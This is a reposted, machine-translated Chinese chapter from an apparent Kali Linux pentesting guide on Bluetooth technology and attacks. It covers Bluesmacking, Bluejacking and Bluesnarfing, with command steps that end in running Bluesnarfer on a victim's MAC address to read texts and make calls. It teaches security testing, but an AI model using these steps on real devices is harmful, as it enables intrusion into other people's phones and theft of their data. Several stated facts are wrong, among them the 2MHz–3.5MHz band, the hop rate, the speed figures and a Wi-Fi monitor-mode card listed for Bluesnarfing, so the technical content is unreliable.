如果我们不至少在这里花点墨水来谈谈可能被视为竞争技术的东西,我们就会疏忽大意了,这就是所谓的 Zigbee。这项技术在十多年前首次亮相,旨在允许使用无线电信号进行数据传输,覆盖更长距离,如 100 米,同时消耗更少的电力。最初,这项技术的范围使得它对依赖蓝牙的人们很有吸引力,因为它提供了更远的传输距离,主要是因为蓝牙的有效范围为 10 米,而这项技术的范围为 100 米。然而,自 2006 年以来,蓝牙已经包括了减少功耗的能力作为其核心能力之一。蓝牙还具有利用特殊天线和发射器来实现更远距离传输信号的能力。以下图片显示了一个 Zigbee 设置的示例:

展示 Zigbee 设置。

如今,蓝牙已经轻松主导了短距离无线市场,并已经应用于从智能手机到平板电脑,再到各种家用电器和设备以及汽车等各种产品。正因为技术得到了如此广泛的应用,它对于希望找到进入组织或窃取信息的攻击者来说是一个非常诱人和可行的目标。

对技术的一瞥

因此,通过蓝牙的历史和演变,我们已经了解了这项技术的起源和在功能和设计方面的位置,让我们继续讨论蓝牙的技术规格以及它与我们的关系。

蓝牙是一种设计在 2MHz 至 3.5MHz 之间运行的技术。您可能已经知道或记得,这是一个全球无许可证的频段,用于工业、科学和医疗用途,通常称为 ISM 2.4GHz 短距离无线电频段。蓝牙在这个频段内运行,并使用诸如跳频扩频等技术来调制信号。以下图表显示了 ISM 频段的位置:

ISM 频段

当蓝牙传输信息时,它的工作方式类似于其他类型的网络,即通过将数据分成数据包,然后使用 79 个不同指定的蓝牙信道之一来传输每个数据包。每个信道都被分成 1MHz 的增量。在正常操作中,蓝牙每秒在 800 个信道之间跳跃。新一代的低功耗蓝牙设备利用 2MHz 的间隔,这意味着我们只有 40 个信道可以跳跃,而不是其前身使用的 79 个信道。

蓝牙的架构首先是基于数据包的,并且通过主从架构来传输信息和网络。这意味着我们有一个主设备,它与最多七个从设备在所谓的微型网中进行通信。主设备是所有设备都同步其时钟的设备,以确保传输正常工作和通信高效。为了简化,主设备负责保持网络中从设备的同步。此外,主设备可以在整个网络中传输所有数据。

在正常操作下,主蓝牙设备可以与其网络设置中的其他七个设备进行通信。正在建立的设置与 Wi-Fi 中的特设网络基本相同;在这种网络拓扑中没有固定的中心点。需要记住的是,虽然主设备是在与其他七个设备进行通信的设备,但并不总是必须有一个设备被固定或永久指定为主设备。事实上,设备可以随时在主设备和从设备之间切换。一个很好的例子是蓝牙耳机试图连接到手机。耳机实际上会作为主设备开始,因为它向智能手机或手机发起连接,但一旦连接建立,手机实际上控制通信,因此一旦切换完成,耳机就从主设备变为从设备。这可以通过任何蓝牙设置中的设备之间的协议来完成。

因此,让我们谈谈蓝牙中的具体数字,以便了解这些不同网络设计和设置的一些细节:

  • 蓝牙 3.0 的最大速度为 25 MB,最大范围为 10 米或 33 英尺

  • 蓝牙 4.0 的最大速度为 25 MB,最大范围为 60 米或 200 英尺

  • 蓝牙 5.0 的最大速度为 50 MB,最大范围为 240 米或 800 英尺

在讨论蓝牙时需要记住的是,最大速度和范围可能会因存在的许多因素而发生显著变化。在范围的情况下,这里所述的数字将受到诸如天线设计或配置、电池电量和大气密度等条件的影响,这些条件可能会出现在较长的范围内,以及来自同一频率区域内其他设备的干扰。同样的条件也可能导致速度的损失或降低。无论如何,在最理想的条件下,你都不太可能达到任何特定蓝牙产品所宣称的速度和范围。

通过使用特殊适配器和天线,可以改变或修改蓝牙网络的范围,实际上许多这些设备都可以在第三方市场上获得。许多专用天线和设备之所以没有内置在大多数设备中,是因为对于大多数用户来说,增加的范围实际上并不是必需的,而且实际上会增加设备的成本。对于在短距离使用蓝牙的绝大多数消费者来说,蓝牙的短距离使用是理想的。

关于蓝牙与 Wi-Fi 的比较,你可能会问为什么使用其中一个而不是另一个,所以我们应该来看看。当我们看这两种技术时,我们可以看到它们非常相似,它们都用于共享信息、建立网络、打印、传输各种数据,甚至与其他设备和资源进行通信。在许多方面,蓝牙也解决了 Wi-Fi 在自己的环境中解决的有线问题,这里的区别在于我们谈论的有线是耳机和手机之间或打印机和计算机之间的有线。在 Wi-Fi 的情况下,我们谈论的是覆盖更大距离的有线。蓝牙也被设计为一种几乎不需要配置就可以有效使用的技术,而 Wi-Fi 在配置完成后需要更多的额外配置。值得注意的是,Wi-Fi 可以在自组网模式和基础设施模式下运行,但在蓝牙中,只有自组网模式;没有基础设施,因为没有蓝牙接入点。尽管蓝牙和 Wi-Fi 解决了两组不同的问题,并且在各自的环境中表现良好,但它们不应被视为竞争技术,而应被视为互补技术,因为它们可以很有效地共同工作。

蓝牙操作中

在正常操作下,蓝牙有一种非常特定的功能方式。我们提到了控制节点和客户节点之间的主从关系,以及它们如何来回切换,但这只是谜题的一部分。让我们来看看设备是如何学会彼此交流和交换信息的。

在蓝牙中,设备之间的通信是通过配对过程来实现的。配对是一种过程,其中一个设备设置为可被发现,意味着其他蓝牙设备可以扫描到它。扫描设备在找到可用的蓝牙设备后,将选择它作为要配对的对象。一旦选择完成,接下来发生的事情可能会有一点不同。在大多数情况下,主设备上会显示或记录一个验证代码,然后请求配对的设备必须确认此代码才能完成连接。在一些设备中,这个代码实际上是硬编码到设备中的,而在其他设备中,设备所有者可以自定义一个 PIN 码以增加安全性。无论哪种情况,一旦代码确认,就会假定这两个设备彼此认识,并且连接得到批准。以下图显示了蓝牙配对过程:

蓝牙配对过程

以下截图显示了一个配对请求屏幕:

配对请求

关于蓝牙中的可发现性,这种模式旨在基本上广播设备的名称,就像 Wi-Fi 中的 SSID 一样。然而,在蓝牙中,可发现性不仅可以打开和关闭,还可以在有限的时间内打开。这意味着手机可以设置为在五分钟内可被发现,如果在这五分钟内没有进行配对,设备将自动从可发现状态转为不可发现状态。这是因为如果设备保持可发现状态,周围的其他设备可以扫描到它,这可能允许恶意方试图连接或甚至篡改您的设备。大多数现代蓝牙设备默认为在配对尝试发起时保持可发现状态一段有限的时间,通常持续几分钟后再转为不可发现状态。

因此,有了这些知识,让我们继续讨论蓝牙可能存在的不同类型的攻击。你会发现,这一章中的许多攻击在很多方面都类似于我们在普通 Wi-Fi 中看到的攻击类型,这是因为 Wi-Fi 和蓝牙之间存在一些相似之处 - 但请记住,它们并不百分之百相同。两者在机制上绝对不相同,但在概念上有相当多的相似之处,这将使得攻击看起来非常相似,尽管在两种技术之间实际执行会有所不同。这很好,因为这意味着这些概念对你来说会很熟悉,这将使你有更多时间专注于蓝牙技术中概念的实际机制和技术细节的实现。

在 Linux 中,蓝牙协议栈是通过一组称为 BlueZ 的库来实现的。像大多数 Linux 发行版一样,Kali 默认安装了它,不需要额外的操作来使其存在(尽管您可能希望运行更新以获取协议的最新修复和补丁)。

在 BlueZ 中存在许多不同的工具,用于管理和探索蓝牙的功能和能力。其中有一些特别有用:

  • hciconfig:这个工具在 Linux 中的操作方式类似于ifconfig,主要区别在于它是用于蓝牙设备的。

  • hcitool:这是一个查询工具。它可以为我们提供设备名称、设备 ID、设备类和设备时钟。

  • hcidump:这个工具使我们能够嗅探蓝牙通信。

这些不是 Kali 中唯一可以操作蓝牙的工具,以下列表包含了其他一些存在的工具:

  • Bluelog:一个蓝牙现场调查工具。它扫描区域以找到尽可能多的可发现设备,然后将它们记录到文件中。

  • Bluemaho:用于测试蓝牙设备安全性的基于 GUI 的工具套件。

  • Blueranger:一个简单的 Python 脚本,使用 I2CAP ping 来定位蓝牙设备并确定它们的大致距离。

  • Btscanner:这个基于 GUI 的工具扫描范围内的可发现设备。

  • Redfang:这个工具使我们能够找到隐藏的蓝牙设备。

  • Spooftooph:这是一个蓝牙欺骗工具。

蓝牙协议栈

蓝牙设备不需要使用协议栈中的所有协议(就像 TCP/IP 协议栈)。蓝牙协议栈被开发用于让各种通信应用程序使用蓝牙。通常,一个应用程序只会使用这个协议栈的一个垂直切片。蓝牙协议层及其相关协议如下列出:

  • 蓝牙核心协议基带:LMP、L2CAP、SDP

  • 电缆替换协议:RFCOMM

  • 电话控制协议:TCS 二进制、AT 命令

  • 采用的协议:PPP、UDP/TCP/IP、OBEX、WAP、vCard、vCal、IrMC、WAE

除了协议层,蓝牙规范还定义了一个主机控制器接口HCI)。这提供了一个命令接口给基带控制器、链路管理器,并访问硬件状态和控制寄存器,因此前面提到的工具如hciconfighcidumphcitool都是以此命名。

蓝牙漏洞

蓝牙技术已经表明自己既非常方便又强大,但同时也表明它有自己的一种漏洞类型,这在其他技术中并不常见,或者至少不是以同样的形式出现。由于蓝牙的运作方式和设计,存在新类型攻击的明显可能性,并且在这个环境中已经出现了一些这样的攻击。

最近,一个名为 BlueBorne 的攻击家族出现在市场上。这些攻击旨在针对蓝牙设备。这些攻击被证明是相当令人不安和令人担忧的,因为它们依赖于一种新的通信机制,而不是旧的通信机制。如果我们看传统的攻击,它们通过网络技术传播,包括互联网、有线网络甚至 Wi-Fi。然而,在蓝牙的情况下,我们有一种技术,可以促进非常小的网络,但相似之处很快几乎有效地减少。这类攻击家族是如此危险,以至于攻击者可能从利用的那一刻起就获得对设备的完全和绝对控制。导致这类攻击的严重性和危险性的因素是,安全社区只是刚刚开始探索蓝牙的危险和问题以及它可能被利用的潜在方式。

还有其他因素使这类攻击以及我们将在本章中探讨的攻击比其他环境中看到的更加危险。蓝牙攻击最危险的一个方面是,它能够通过空气迅速传播,这既是因为无线技术的普及,也是因为这些设备的安全性仍在不断发展,并且在许多情况下可能缺乏安全性。其次,最近在蓝牙中出现的许多攻击允许绕过设备上存在的任何安全措施,因此意味着攻击可以保持有效地不被检测到。另一个令人担忧的问题是,连接到传统网络的蓝牙设备也可能允许恶意方找到进入安全网络的后门,因为连接到常规网络并启用蓝牙的设备可能允许攻击者将这些设备用作入口。最后,真正需要考虑蓝牙的一个最大问题是,可以通过蓝牙连接将文件推送到目标设备上,并在用户根本不必点击链接或采取任何行动的情况下执行。

在蓝牙环境中出现的一些攻击与在其他环境中看到的攻击相似,包括 Wi-Fi。让我们快速看一下其中一些攻击和漏洞,并简要讨论如何对抗这些攻击和漏洞:

  • 软件漏洞:这并不是蓝牙独有的问题,但它确实在暴露蓝牙不同的漏洞和问题方面发挥了作用。由于软件的复杂性和规模的本质,一个软件完全没有任何错误或问题是不可想象的。事实上,您在计算机或设备上运行的每个软件都有错误,只是问题在于这些个别漏洞或问题有多少以及有多严重。新的蓝牙实现,如蓝牙 4.0,以及更新的操作系统和驱动程序在解决已出现的漏洞方面已经取得了长足进展,但无疑也引入了新的漏洞。这就是为什么蓝牙设备的所有者应该跟踪可能发布的任何新更新,并查看是否有可能影响他们的威胁,并相应地处理它们。

  • 窃听:由于蓝牙在其核心是一种网络技术,因此它容易受到窃听等攻击。虽然窃听蓝牙设备需要一些额外的技巧和知识,但它仍然是一种可以针对这些设备和技术部署的有效攻击。然而,诸如加密之类的技术的使用已经在所有版本的蓝牙中实施(尽管在最新版本中做得更好),已经解决了与信息泄露和修改相关的问题。但是,请记住,尽管使用了加密技术的旧版本蓝牙可能使用了该技术,但加密技术实际上比新版本的要差得多。因此,有必要将使用旧蓝牙规范的设备升级到解决了这些问题的技术的新版本。

  • 拒绝服务:与无线接入点、网站和应用程序一样,蓝牙通信技术也容易受到拒绝服务攻击,如果被攻击者针对并希望压倒系统或干扰信号,这是可能的。在蓝牙平台上,这实际上是一个非常难以有效防范的攻击,但可以做的是关闭设备中的蓝牙功能,消除目标,从而阻止拒绝服务攻击。

  • 硬件缺陷:虽然您可以对运行在您的蓝牙智能手机、平板电脑或计算机上的软件进行大量修补和更新,但您无法控制的是您可能从第三方购买的设备,比如耳机。在许多情况下,这些设备没有更简单明显的方法(如果有的话)来更新其中的固件,以修复这些设备可能存在的弱点和漏洞。正因为如此,这些设备本身可能成为恶意方的可行目标,希望给您带来麻烦或烦恼。在一些情况下,唯一的解决办法就是停止使用这个蓝牙配件,转而选择一个没有漏洞的配件。

  • 默认值:这是一个棘手的问题,因为在许多情况下,对于公司来说,有一些弱默认设置的设备并没有立即的解决方案。所谓的弱默认值是指,一些可以使用蓝牙配对的设备具有消费者无法更改的 PIN 码。这些 PIN 码是在工厂设置的,并且在设备的整个生命周期内保持不变。这使得设备容易受到攻击,因为攻击者可以通过一些调查或观察迅速查看设备,知道其制造和型号,并通过简单的互联网搜索找到该设备的默认 PIN 码并进行配对。虽然随着时间的推移,这个问题正在变得不那么严重,但仍然有一些设备,无论是新的还是旧的,其默认 PIN 码都无法被消费者更改。在这些情况下,如果这是一个严重的漏洞,你可能别无选择,只能放弃使用该设备,选择一个允许更改的新设备。

虽然我们还可以将其他漏洞添加到这个列表中,但这只是为了向您展示这项技术存在一些漏洞。请记住,最初这项技术并不是以安全性为目标构建的;安全性是事后嵌入解决方案的。这项技术的初衷是促进不同平台和供应商之间距离较近的设备之间的通信,而在这方面它取得了相当大的成功。然而,安全目标实际上最多只是一个次要目标,因此随着蓝牙在全球范围内的普及和使用,它不得不在安全方面做一些追赶。

一些已经成为相当大目标并引起了安全技术市场的关注的事情是蓝牙漏洞,这些漏洞可能存在于亚马逊 Echo 和谷歌 Home 设备中。事实上,据报道,至少有八种不同的漏洞针对这两种设备系列。这些设备及其相关的漏洞之所以如此糟糕和危险,是因为它们几乎无法被当前的安全技术和解决方案检测到。另一点需要考虑的是,这两种设备系列目前估计在全球各地的家庭和其他地方部署了至少 2000 万个易受攻击的设备。

这些类型的攻击是已经被称为blueborne攻击的一种形式,如前所述。

选择蓝牙硬件

让我们在本节中真正看一下一些硬件、组件和其他可以用来有效改进和操作蓝牙技术的物品。当我们探索一些不同的蓝牙硬件时,您会发现,从概念上讲,它与我们在 Wi-Fi 技术中看到的很多东西是相同的,但并非所有都是相同的。然而,无论概念是与 Wi-Fi 中看到的相同还是不同,我们都将加以介绍,以确保您知道并了解哪些组件转移到了蓝牙,哪些没有。

首先,让我们注意到,现在大多数系统,无论是笔记本电脑、台式机还是平板电脑或智能手机等任何移动设备,基本上都在出厂时内置了蓝牙功能。事实上,诸如汽车、收音机、游戏系统、玩具和许多其他包括互联网设备的设备现在也倾向于内置蓝牙。因此,您很可能会遇到具有内置蓝牙功能的设备,因此您可能无需为了进行蓝牙探索而向您的设备添加任何特殊功能。然而,在股票设备上通常内置支持蓝牙的硬件通常不具备您执行各种攻击所需的所有功能。然而,在那些不支持股票蓝牙或需要增强此功能的设备上,我们需要担心可以用来使这项技术工作的特殊硬件或附件。

今天市场上的大多数设备都将支持蓝牙。它已成为现代设备消费者的预期功能。可以说,过去十年内发布的任何设备都将具备蓝牙功能作为其功能集的一部分。

向笔记本电脑等设备添加蓝牙的最常见方法之一是简单地购买所谓的蓝牙 Dongle。这个 Dongle 通常是 USB 插头,可以插入计算机上的可用 USB 插槽,然后允许该 Dongle 与蓝牙设备配对,无论是打印机、鼠标还是其他外围设备。这种类型的解决方案在老设备上非常常见,并且在所有者希望添加此功能时会被实施。以下屏幕截图显示了一个蓝牙 Dongle:

蓝牙 Dongle

Dongles 对于为不具备蓝牙支持能力的设备添加蓝牙非常有用,但您可能会发现它们在我们将在本章中进行的测试类型方面存在限制。在本章的测试中,我们将不使用蓝牙 Dongles,因为在大多数情况下,它可能会限制我们打算执行的操作,尽管您可能希望尝试自行操作。

对我们在使用 USB 时重要的一个选择是增加 USB 适配器,它不仅仅是一个简单的转接器。这些专门的适配器增加了提高性能和数据传输速率的能力,甚至可以增加设备中可能存在的蓝牙范围。这对于技术爱好者或那些具有比其各自平台内置默认功能更高性能或不同数据传输要求的人来说并不罕见。与转接器基础解决方案一样,这些通常是以 USB 设备的形式出现。以下截图是一个蓝牙适配器:

Dlink 蓝牙适配器

在本章中,我们正在做的事情中,一个重要的问题是增加蓝牙设备的范围。在大多数情况下,蓝牙范围可以用非常短的距离来衡量,相对而言。在大多数情况下,可以预期蓝牙可靠地传输的距离大约为 10 米或大约 30 英尺。一些设备可能会改变这种能力,并将这个范围扩展到更远的距离,但在大多数情况下,这仍然是一个很大的距离。如果像我们在本章中要做的那样进行渗透测试探索,这就会带来问题,因为当你必须在目标的半径范围内保持不被发现时,或者甚至更接近以获得可靠的信号时,这是非常困难的。理想情况下,我们希望有一种情况,可以从比大多数现货设备提供的范围更大的范围攻击和与目标互动。在这种情况下,我们可以获得专为工业应用设计的蓝牙适配器,在某些情况下可以达到几百英尺,甚至几千英尺的距离。这种类型的适配器通常是为工业或专业应用而设计的,必须作为 USB 设备在售后购买,并且可以插入任何空闲的 USB 端口,并且在操作系统的帮助下,可以通过特殊驱动程序进行完全交互。以下照片是一个工业蓝牙适配器:

Sena 蓝牙适配器

蓝牙使用的另一种硬件是可以非常有帮助的特殊天线,可以扩展这些适配器的范围。像之前提到的那种适用于工业应用的适配器,在很多情况下都有能力螺丝或螺栓固定天线,可以改变设备能够接收的范围。这意味着一个设备可能只能检测到几百英尺范围内的蓝牙信号,但可以将范围扩展到几千英尺。如果您需要这种范围,重要的是购买一个具有插入外部天线的适配器,并了解它所需的连接类型,因为特殊连接可能会有所不同。以下图片显示了一些蓝牙适配器和一些天线的示例:

带外部天线的适配器。

在谈论蓝牙功能和可能需要的选项时,值得讨论的最后一点是数据包注入。数据包注入是一种我们已经在 Wi-Fi 中看到的技术,特别是在之前的章节中进行 WEP 破解时。如果你还记得,我们使用数据包注入将 ARP 广播数据包放入网络并生成大量流量。内置在笔记本电脑、智能手机或平板电脑等设备中的蓝牙适配器几乎永远不会具备这种功能作为其原始功能的一部分。原因是大多数消费者不需要这种能力,而且这会增加设备的成本;因此,通常不会添加。因此,如果你决定以后进行任何需要进行数据包注入的攻击,几乎肯定会在几乎每种情况下选择外部适配器。

有了这些关于蓝牙硬件的细节,让我们继续看看我们可以使用蓝牙进行的一些攻击。

攻击类型

针对无线网络认证的攻击多种多样,每种攻击都有其自身的优势和劣势,使其在特定情况下有用或无用。

在我们开始探索每一种攻击之前,让我们首先列出本章将涵盖的攻击:

  • Bluesmacking

  • 蓝牙劫持

  • Bluesnarfing

  • MAC 地址欺骗

  • 中间人攻击

请记住,这些只是可以用来颠覆无线网络认证的攻击类型中的一小部分;它们绝不能被认为是唯一的攻击类型。

Bluesmacking

我们将要介绍的第一种攻击类型被称为 Bluesmacking,是针对这种协议的较早的攻击类型之一。在我们对这种攻击的探索中,你会发现它是对网络、设备和应用程序的一种常见攻击的变种,被称为拒绝服务

简而言之,当我们进行 Bluesmacking 攻击时,我们正在进行一种攻击,通过这种攻击,一个特制的数据包可以使设备无法使用。这种攻击通过传输一个数据包,该数据包超出了蓝牙设备可用的最大数据包大小。最终结果是设备无法处理该数据包,目标成为了拒绝服务的受害者。这种攻击是著名的攻击死亡之 ping的变种。

那么什么是 ping of death?ping of death 是一种经典的 DoS 攻击,由恶意方传输一个大于 IP 协议允许的 65,536 字节的 IP 数据包而生成。由于 IP 协议依赖于分段的使用,攻击者很快发现,如果他们将一个数据包分成片段,目标可以重新组装并超过这个 65,536 的限制。由于操作系统从未设计接收这么大的数据包,它们在接收到这个数据包后会冻结、崩溃或重新启动。

增加这种类型攻击的危险性的最后一点是,接收者的身份可能被欺骗。

作为对这种攻击的回应,产品供应商在 1997 年修补了他们的设备和软件,以减少这种攻击的可能性。然而,它仍然存在于蓝牙中。

这种 DoS 的影响可以采取多种形式,所有这些形式都会使目标设备在一段时间内无法使用。影响可能是设备被攻击者压倒,导致其无法被所有者操作并耗尽设备的电池,影响攻击后设备的持续运行。

准备工作

要开始进行操作,你需要准备以下物品:

  • 一个蓝牙设备或外部适配器

  • Kali Linux

如何做...

为了进行 Bluesmack 攻击,我们将使用内置的 BlueZ 堆栈的一部分来实现。这可以是对蓝牙设备的一种非常有效的攻击,它可以有效地使受害者别无选择,只能关闭他们的设备、蓝牙,或者离开范围。

  1. 首先,让我们在终端上使用hciconfig确认我们的蓝牙适配器是否已打开和被识别:
 hciconfig 

命令的结果看起来像以下的屏幕截图:

从这个屏幕截图中,您可以看到蓝牙适配器带有一个地址(就像物理网络适配器上的 MAC 地址一样)。它还有一个名字叫hci0

  1. 我们可能需要启动和启用蓝牙适配器,以确保它已准备好使用,通过发出以下命令:
 hciconfig hci0 up 
  1. 现在我们将使用hcitool在区域内扫描蓝牙设备。我们首先使用该工具的扫描部分来寻找发送发现信标的蓝牙设备(处于发现模式):
 hcitool scan 
  1. 一旦命令列出了您希望进一步调查的设备,您可以使用inq命令来查询设备。您可以像这样使用该命令:
 kali > hcitool inq 

这将显示不同类型的信息,包括类信息,告诉我们正在扫描的设备类型。

  1. 接下来,我们将使用服务发现协议SDP)在设备上搜索服务。BlueZ 包括一个名为sdptool的工具,它能够浏览设备提供的服务。我们可以通过输入以下命令来使用它:
 sdptool browse <MAC Address> 
  1. 有了附近设备的 MAC 地址,我们可以对它们进行 ping 操作,无论它们是否处于发现模式,以查看它们是否在范围内:
l2ping <MAC address> 

这表明具有 MAC 地址76:6F:46:65:72:67的设备在范围内并且可达。

蓝牙劫持

蓝牙劫持是另一种可以通过蓝牙对易受攻击的设备进行的攻击。然而,在进行蓝牙劫持之前,讨论它是如何工作的是很重要的。简而言之,蓝牙劫持是一种攻击,未经请求的消息通过蓝牙传输到蓝牙设备,如手机、PDA、笔记本电脑等,通过 OBEX 协议向另一个蓝牙设备发送一个通讯录,其中通常包含名称字段中的消息。请记住,蓝牙劫持者不会通过蓝牙劫持技术控制您的手机;攻击者只是通过蓝牙发送消息。将这种类型的攻击视为使用蓝牙协议进行垃圾邮件发送。

我在这里展示这种攻击,是为了完整地展示蓝牙设备中存在的漏洞。这种类型的攻击不需要 Kali 来成功执行。

准备就绪

要开始,您需要准备好以下物品:

  • 蓝牙适配器

  • Kali Linux

如何做...

以下是执行此攻击的步骤:

  1. 转到通讯录。创建一个新联系人。

  2. 创建联系人时,将您希望通过蓝牙劫持的消息输入到联系人名称部分。

  3. 选择通过蓝牙发送卡片。

  4. 搜索范围内的蓝牙设备。

  5. 选择找到的设备之一。

  6. 点击发送。

蓝牙窃听

蓝牙窃听是一种可以针对易受攻击的设备进行的有趣且非常强大的攻击。简而言之,蓝牙窃听是通过蓝牙连接未经授权地访问设备,通常是手机、笔记本电脑和类似类型的设备之间的连接。这种攻击可以访问目标上各种类型的数据和资源,有些手机用户可以复制图片和私人视频。

这种类型的攻击针对任何已打开连接并且可以被扫描方发现的蓝牙设备。关闭蓝牙以及使设备不可发现是解决此问题的一种方法。

对于要被攻击的设备,攻击者必须通过暴力攻击猜测设备的 MAC 地址。与暴力攻击一样,猜测正确的 MAC 地址只是时间问题。

蓝牙使用 48 位唯一的 MAC 地址,其中前 24 位对制造商是共同的。剩下的 24 位有大约 1680 万种可能的组合,需要平均 840 万次尝试才能通过暴力破解猜出。

准备就绪

要开始操作,您需要准备以下物品:

  • 一张能够进入监视模式的无线网卡

  • Kali Linux

这里列出的项目是基本要求,如果需要,您可以轻松地使用更多(或不同)的组件。例如,如果您想要增强范围,可以使用一个带有外部天线连接的基于 USB 的无线网卡,以获得更好的接收效果。

如何做...

  1. 现在 Bluesnarfer 已安装,配置rfcomm
 mkdir -p /dev/bluetooth/rfcomm
 mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0
 mknod --mode=666 /dev/rfcomm0 c 216 0
 hciconfig -i hci0 up
 hciconfig hci0
  1. 现在开始扫描潜在的漏洞:
 hcitool scan hci0 
  1. Ping 受害者,看看他在不在:
 l2ping  < victim mac addr> 
  1. 浏览受害者的rfcomm频道进行连接:
 sdptool browse --tree --l2cap < mac addr > 
  1. 现在 Bluesnarfer 已经设置好了。现在,您可以访问受害者的手机,查看短信,打电话等等。
 Bluesnarfer -r 1-100 -C 7 -b < mac addr > 
posted @ 2024-05-03 21:42  绝不原创的飞龙  阅读(94)  评论(0编辑  收藏  举报